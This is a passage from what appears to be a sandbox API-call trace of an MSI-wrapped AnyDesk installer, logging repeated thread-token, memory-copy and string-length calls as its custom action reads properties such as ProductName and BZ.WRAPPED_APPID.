SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.554] GetCurrentThread () returned 0xfffffffffffffffe [0146.554] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.554] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.554] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.554] memcpy (in: _Dst=0x3728b0, _Src=0x3be9e0, _Size=0x4e | out: _Dst=0x3728b0) returned 0x3728b0 [0146.554] memcpy (in: _Dst=0x372cc0, _Src=0x3bea30, _Size=0x48 | out: _Dst=0x372cc0) returned 0x372cc0 [0146.554] memcpy (in: _Dst=0x372900, _Src=0x372cc0, _Size=0x48 | out: _Dst=0x372900) returned 0x372900 [0146.554] memcpy (in: _Dst=0x3beaa0, _Src=0x3728b0, _Size=0x9a | out: _Dst=0x3beaa0) returned 0x3beaa0 [0146.555] SetEvent (hEvent=0x170) returned 1 [0146.555] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.558] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.558] GetCurrentThread () returned 0xfffffffffffffffe [0146.558] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.558] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.558] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.558] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.559] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.560] GetCurrentThread () returned 0xfffffffffffffffe [0146.560] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.560] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.560] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.561] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.561] GetCurrentThread () returned 0xfffffffffffffffe [0146.561] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.561] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.561] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.561] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=ProductName") returned 49 [0146.561] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.561] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.562] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.562] GetCurrentThread () returned 0xfffffffffffffffe [0146.562] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.562] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.562] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.562] memcpy (in: _Dst=0x3728b0, _Src=0x32f250, _Size=0x62 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.562] memcpy (in: _Dst=0x32e7a0, _Src=0x3728b0, _Size=0x62 | out: _Dst=0x32e7a0) returned 0x32e7a0 [0146.563] SetEvent (hEvent=0x170) returned 1 [0146.563] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.564] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.564] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.566] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.566] GetCurrentThread () returned 0xfffffffffffffffe [0146.566] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.566] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.566] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.567] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.567] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.568] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.568] GetCurrentThread () returned 0xfffffffffffffffe [0146.568] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.568] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.568] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.568] lstrlenW (lpString="ProductName") returned 11 [0146.581] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.581] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.582] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.582] GetCurrentThread () returned 0xfffffffffffffffe [0146.582] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.582] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.582] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.582] lstrlenW (lpString="ProductName") returned 11 [0146.584] memcpy (in: _Dst=0x37f3d0, _Src=0x37e2b0, _Size=0x8c | out: _Dst=0x37f3d0) returned 0x37f3d0 [0146.584] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.584] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.587] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.587] GetCurrentThread () returned 0xfffffffffffffffe [0146.587] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.587] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.587] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.587] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.587] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.588] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.588] GetCurrentThread () returned 0xfffffffffffffffe [0146.588] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.588] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.588] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.588] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 109 [0146.588] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.588] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.589] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.589] GetCurrentThread () returned 0xfffffffffffffffe [0146.589] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.589] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.589] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.589] memcpy (in: _Dst=0x3728b0, _Src=0x35cdd0, _Size=0xda | out: _Dst=0x3728b0) returned 0x3728b0 [0146.589] memcpy (in: _Dst=0x35ced0, _Src=0x3728b0, _Size=0xda | out: _Dst=0x35ced0) returned 0x35ced0 [0146.590] SetEvent (hEvent=0x170) returned 1 [0146.590] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.594] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.594] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.595] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.595] GetCurrentThread () returned 0xfffffffffffffffe [0146.595] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.595] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.596] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.596] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.596] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.599] GetCurrentThread () returned 0xfffffffffffffffe [0146.599] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.599] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.599] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.601] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.601] GetCurrentThread () returned 0xfffffffffffffffe [0146.601] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.601] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.601] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.601] lstrlenW (lpString="-- CUSTOM ACTION -- InstallPrepareInternal.") returned 43 [0146.601] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.601] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.602] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.602] GetCurrentThread () returned 0xfffffffffffffffe [0146.602] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.602] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.602] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.602] memcpy (in: _Dst=0x3728b0, _Src=0x34acc0, _Size=0x56 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.602] memcpy (in: _Dst=0x34b540, _Src=0x3728b0, _Size=0x56 | out: _Dst=0x34b540) returned 0x34b540 [0146.603] SetEvent (hEvent=0x170) returned 1 [0146.603] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.605] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.605] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.606] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.606] GetCurrentThread () returned 0xfffffffffffffffe [0146.606] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.606] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.606] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.606] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.607] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.607] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.607] GetCurrentThread () returned 0xfffffffffffffffe [0146.607] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.607] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.608] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.608] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.608] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.609] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.609] GetCurrentThread () returned 0xfffffffffffffffe [0146.609] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.609] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.609] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.609] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.ELEVATE_EXECUTABLE") returned 59 [0146.609] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.609] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.610] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.610] GetCurrentThread () returned 0xfffffffffffffffe [0146.610] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.610] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.610] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.610] memcpy (in: _Dst=0x3728b0, _Src=0x32cfd0, _Size=0x76 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.610] memcpy (in: _Dst=0x32d1b0, _Src=0x3728b0, _Size=0x76 | out: _Dst=0x32d1b0) returned 0x32d1b0 [0146.611] SetEvent (hEvent=0x170) returned 1 [0146.611] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.612] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.613] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.613] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.614] GetCurrentThread () returned 0xfffffffffffffffe [0146.614] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.614] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.614] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.614] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.614] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.615] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.615] GetCurrentThread () returned 0xfffffffffffffffe [0146.615] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.615] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.616] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.616] lstrlenW (lpString="BZ.ELEVATE_EXECUTABLE") returned 21 [0146.617] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.617] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.618] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.618] GetCurrentThread () returned 0xfffffffffffffffe [0146.618] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.618] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.619] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.619] lstrlenW (lpString="BZ.ELEVATE_EXECUTABLE") returned 21 [0146.620] memcpy (in: _Dst=0x3c22d0, _Src=0x383f80, _Size=0xa | out: _Dst=0x3c22d0) returned 0x3c22d0 [0146.620] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.620] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.621] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.621] GetCurrentThread () returned 0xfffffffffffffffe [0146.621] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.622] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.622] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.622] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.622] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.623] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.623] GetCurrentThread () returned 0xfffffffffffffffe [0146.623] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.623] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.623] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.623] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=never") returned 44 [0146.623] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.623] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.624] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.624] GetCurrentThread () returned 0xfffffffffffffffe [0146.624] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.624] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.624] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.624] memcpy (in: _Dst=0x3728b0, _Src=0x34b540, _Size=0x58 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.624] memcpy (in: _Dst=0x34acc0, _Src=0x3728b0, _Size=0x58 | out: _Dst=0x34acc0) returned 0x34acc0 [0146.625] SetEvent (hEvent=0x170) returned 1 [0146.625] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.627] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.627] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.629] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.629] GetCurrentThread () returned 0xfffffffffffffffe [0146.629] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.629] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.629] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.629] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.630] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.641] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.641] GetCurrentThread () returned 0xfffffffffffffffe [0146.641] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.641] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.641] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.642] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.642] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.642] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.642] GetCurrentThread () returned 0xfffffffffffffffe [0146.642] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.642] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.643] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.643] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.WRAPPED_APPID") returned 54 [0146.643] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.643] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.643] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.643] GetCurrentThread () returned 0xfffffffffffffffe [0146.643] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.644] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.644] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.644] memcpy (in: _Dst=0x3728b0, _Src=0x32e7a0, _Size=0x6c | out: _Dst=0x3728b0) returned 0x3728b0 [0146.644] memcpy (in: _Dst=0x32f250, _Src=0x3728b0, _Size=0x6c | out: _Dst=0x32f250) returned 0x32f250 [0146.644] SetEvent (hEvent=0x170) returned 1 [0146.645] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.648] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.648] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.649] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.649] GetCurrentThread () returned 0xfffffffffffffffe [0146.649] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.650] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.650] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.650] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.650] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.652] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.652] GetCurrentThread () returned 0xfffffffffffffffe [0146.652] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.652] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.652] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.652] lstrlenW (lpString="BZ.WRAPPED_APPID") returned 16 [0146.653] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.653] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.654] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.654] GetCurrentThread () returned 0xfffffffffffffffe [0146.654] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.654] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.654] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.655] lstrlenW (lpString="BZ.WRAPPED_APPID") returned 16 [0146.656] memcpy (in: _Dst=0x3c22d0, _Src=0x383da0, _Size=0xe | out: _Dst=0x3c22d0) returned 0x3c22d0 [0146.656] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.656] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.657] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.657] GetCurrentThread () returned 0xfffffffffffffffe [0146.657] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.657] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.657] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.658] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.658] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.658] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.658] GetCurrentThread () returned 0xfffffffffffffffe [0146.658] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.658] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.659] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.659] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=AnyDesk") returned 46 [0146.659] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.659] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.660] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.660] GetCurrentThread () returned 0xfffffffffffffffe [0146.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.661] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.661] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.661] memcpy (in: _Dst=0x3728b0, _Src=0x34acc0, _Size=0x5c | out: _Dst=0x3728b0) returned 0x3728b0 [0146.661] memcpy (in: _Dst=0x34b540, _Src=0x3728b0, _Size=0x5c | out: _Dst=0x34b540) returned 0x34b540 [0146.661] SetEvent (hEvent=0x170) returned 1 [0146.661] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.666] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.666] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.667] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.667] GetCurrentThread () returned 0xfffffffffffffffe [0146.667] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.667] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.667] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.668] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.668] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.704] GetCurrentThread () returned 0xfffffffffffffffe [0146.704] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, 